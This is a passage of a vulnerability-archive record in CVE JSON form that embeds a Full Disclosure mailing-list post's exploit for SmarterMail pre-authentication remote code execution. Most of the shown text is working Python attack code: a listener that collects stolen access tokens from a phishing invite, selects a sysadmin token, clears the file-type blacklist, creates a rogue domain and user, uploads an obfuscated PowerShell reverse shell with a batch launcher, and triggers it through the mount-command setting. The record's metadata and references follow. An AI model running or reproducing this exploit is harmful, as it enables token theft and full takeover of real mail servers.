r.status_code != 200:\n print(f\u0027refresh fail wtf\u0027)\n continue\n\n access = r.json()[\u0027accessToken\u0027]\n\n open(\u0027refresh.txt\u0027, \u0027a\u0027).write(email + \u0027 \u0027 + r.json()[\u0027refreshToken\u0027])\n\n part = access.split(\u0027.\u0027)[1]\n part += \u0027=\u0027 * (-len(part) % 4)\n\n claims = json.loads(base64.urlsafe_b64decode(part))\n\n if \u0027SysAdmin\u0027 in claims.get(\u0027role\u0027, []):\n print(f\u0027+ got sysadmin shit aint sweet no mo\u0027)\n return access\n\n print(f\u0027- {email}: not sysadmin\u0027)\n return None\n\ndef beam(at):\n def apibase(path, data):\n return requests.post(base + path, json=data,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + at}, timeout=60)\n # get the orig path first\n r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n \u0027Enabled\u0027: True,\n \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n \u0027CommandMount\u0027: \u0027zz\u0027,\n \u0027CommandUnmount\u0027: \u0027\u0027,\n \u0027ReadOnly\u0027: False,\n \u0027UseArgumentsInCommand\u0027: False\n })\n\n if \u0027not found\u0027 not in r.text:\n print(\u0027! cant find assets dir\u0027)\n return\n\n assets = r.text.split(\"Script file \u0027\")[1].split(\u0027zz\u0027)[0]\n\n print(f\u0027+ got assets {assets}\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/global-mail\u0027, {\n \u0027globalMailSettings\u0027:\n {\n \u0027fileTypeRestriction\u0027:\n {\n \u0027blackList\u0027: [],\n \u0027blockFilesWithNoExtension\u0027: False\n }\n }\n })\n if r.status_code != 200:\n print(\u0027! cant clear bl\u0027)\n return\n\n print(\u0027+ bl cleared\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/domain-put\u0027, {\n \u0027domainData\u0027: {\n \u0027name\u0027: fakedom,\n \u0027hostname\u0027: \u0027mail.\u0027 + fakedom,\n \u0027path\u0027: assets + \u0027x\u0027,\n \u0027isEnabled\u0027: True,\n \u0027isSplitDomain\u0027: False\n },\n \u0027adminUsername\u0027: \u0027lol\u0027,\n \u0027adminPassword\u0027: pw\n })\n\n if r.status_code == 200:\n print(\u0027+ new dom\u0027)\n else:\n print(f\u0027- cant make new domain\u0027)\n\n email = f\u0027lol@{fakedom}\u0027\n r = apibase(\u0027/api/v1/settings/sysadmin/post-user\u0027, {\n \u0027email\u0027: email,\n \u0027userData\u0027: {\n \u0027maxMailboxSize\u0027: 0\n },\n \u0027allowMail\u0027: True\n })\n\n if r.status_code == 200:\n print(\u0027+ quota unlimited\u0027)\n else:\n print(f\u0027- quota: {r.status_code}\u0027)\n\n r = requests.post(base + \u0027/api/v1/auth/authenticate-user\u0027, json={\n \u0027Username\u0027: email,\n \u0027Password\u0027: pw,\n \u0027clientId\u0027: \u0027lol\u0027\n }, timeout=30)\n\n if r.status_code != 200:\n print(\u0027! login fail \u0027 + r.text[:200])\n return\n user_token = r.json()[\u0027accessToken\u0027]\n print(\u0027+ logged in no bizzy BAP \u0027)\n\n ps1 = f\"\"\"$c=New-Object\nSystem.Net.Sockets.TCPClient(\u0027{args.lhost}\u0027,{args.lport});\n$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};\nwhile(($i=$s.Read($b,0,$b.Length))-ne 0){{\n$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);\n$r=((\u0027Invoke\u0027+\u0027-Expression\u0027) $d 2\u003e\u00261|Out-String);$r2=$r+\u0027PS \u0027+(pwd).Path+\u0027\u003e \u0027;\n$e=([text.encoding]::ASCII).GetBytes($r2);\n$s.Write($e,0,$e.Length);$s.Flush()}};\n$c.Close()\n\"\"\"\n ps1p = assets + \u0027x/Users/lol/FileStore/Root Folder/fun.ps1\u0027\n bat = (f\u0027@echo off\\r\\n\u0027\n f\u0027powershell -ExecutionPolicy Bypass -WindowStyle Hidden\n-File \"{ps1p}\"\\r\\n\u0027)\n\n def upload(filename, content):\n size = str(len(content))\n form = {\n \u0027context\u0027: \u0027file-storage\u0027,\n \u0027contextData\u0027: \u0027{\"folder\":\"\"}\u0027,\n \u0027resumableChunkNumber\u0027: \u00271\u0027,\n \u0027resumableTotalChunks\u0027: \u00271\u0027,\n \u0027resumableChunkSize\u0027: size,\n \u0027resumableCurrentChunkSize\u0027: size,\n \u0027resumableTotalSize\u0027: size,\n \u0027resumableIdentifier\u0027: filename.upper().replace(\u0027.\u0027, \u0027-\u0027)\n+ \u0027-\u0027 + size,\n \u0027resumableFilename\u0027: filename,\n \u0027resumableRelativePath\u0027: filename,\n \u0027resumableType\u0027: \u0027\u0027,\n }\n # technically not needed but sometimes it fails\n for i in range(15):\n r = requests.post(base + \u0027/api/upload\u0027,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + user_token}, data=form,\nfiles={\u0027file\u0027: (filename, content.encode())}, timeout=30)\n if r.status_code == 200:\n return True\n if \u0027MAX_SIZE_EXCEEDED\u0027 in r.text:\n time.sleep(3)\n continue\n print(f\u0027! upload: {r.text[:100]}\u0027)\n return False\n print(\u0027! upload is fucked wtf did you do\u0027)\n return False\n\n if not upload(\u0027fun.ps1\u0027, ps1):\n return\n if not upload(\u0027g.bat\u0027, bat):\n return\n print(\u0027+ uploaded pl\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n \u0027Enabled\u0027: True,\n \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n \u0027CommandMount\u0027: \u0027x/Users/lol/FileStore/Root Folder/g.bat\u0027,\n \u0027CommandUnmount\u0027: \u0027\u0027,\n \u0027ReadOnly\u0027: False,\n \u0027UseArgumentsInCommand\u0027: False\n })\n if \u0027not found\u0027 in r.text:\n print(\u0027???: \u0027 + r.text[:300])\n else:\n print(f\u0027+ shell\u0027)\n\n@app.route(\u0027/\u0027)\ndef catch():\n raw = request.args.get(\u0027t\u0027, \u0027\u0027)\n stolen = base64.b64decode(raw).decode(\u0027utf-8\u0027, \u0027replace\u0027)\n print(\u0027+ got tokens\u0027)\n tokens = json.loads(stolen)\n\n atk = picknchoose(tokens)\n if atk is None:\n print(\u0027! no sysadmin token\u0027)\n return b\u0027\u0027\n\n beam(atk)\n return b\u0027\u0027\n\n\nthreading.Thread(target=lambda: app.run(host=\u00270.0.0.0\u0027,\nport=int(args.port)), daemon=True).start()\nprint(f\u0027+ WE UP @ {args.port}\u0027)\n\nif not sendm(args.to, invite(args.to)):\n print(\"! cant send mail\")\n exit(1)\n\nprint(\u0027waiting\u0027)\nwhile True:\n time.sleep(60)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/9"
},
{
"url": "http://{args.lhost}:{args.port}\u0026apos"
},
{
"url": "https://blog.evan.lat/posts/sm/"
},
{
"url": "https://github.com/eev4n/smartermail"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104082"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104083"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104084"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/9"
],
"discovery": "EXTERNAL"
},
"title": "SmarterMail \u003c9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-104082",
"type": "related"
},
{
"destId": "CVE-2026-104083",
"type": "related"
},
{
"destId": "CVE-2026-104084",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0493",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9",
"automated": true,
"contentSha256": "dd1f31b89d6a3bab8b013a9c3df41ef45f530e4b4d7fd0f326688e3ce062d753",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-12T15:49:16Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0493"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0493"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 81 - 90 publications in total 581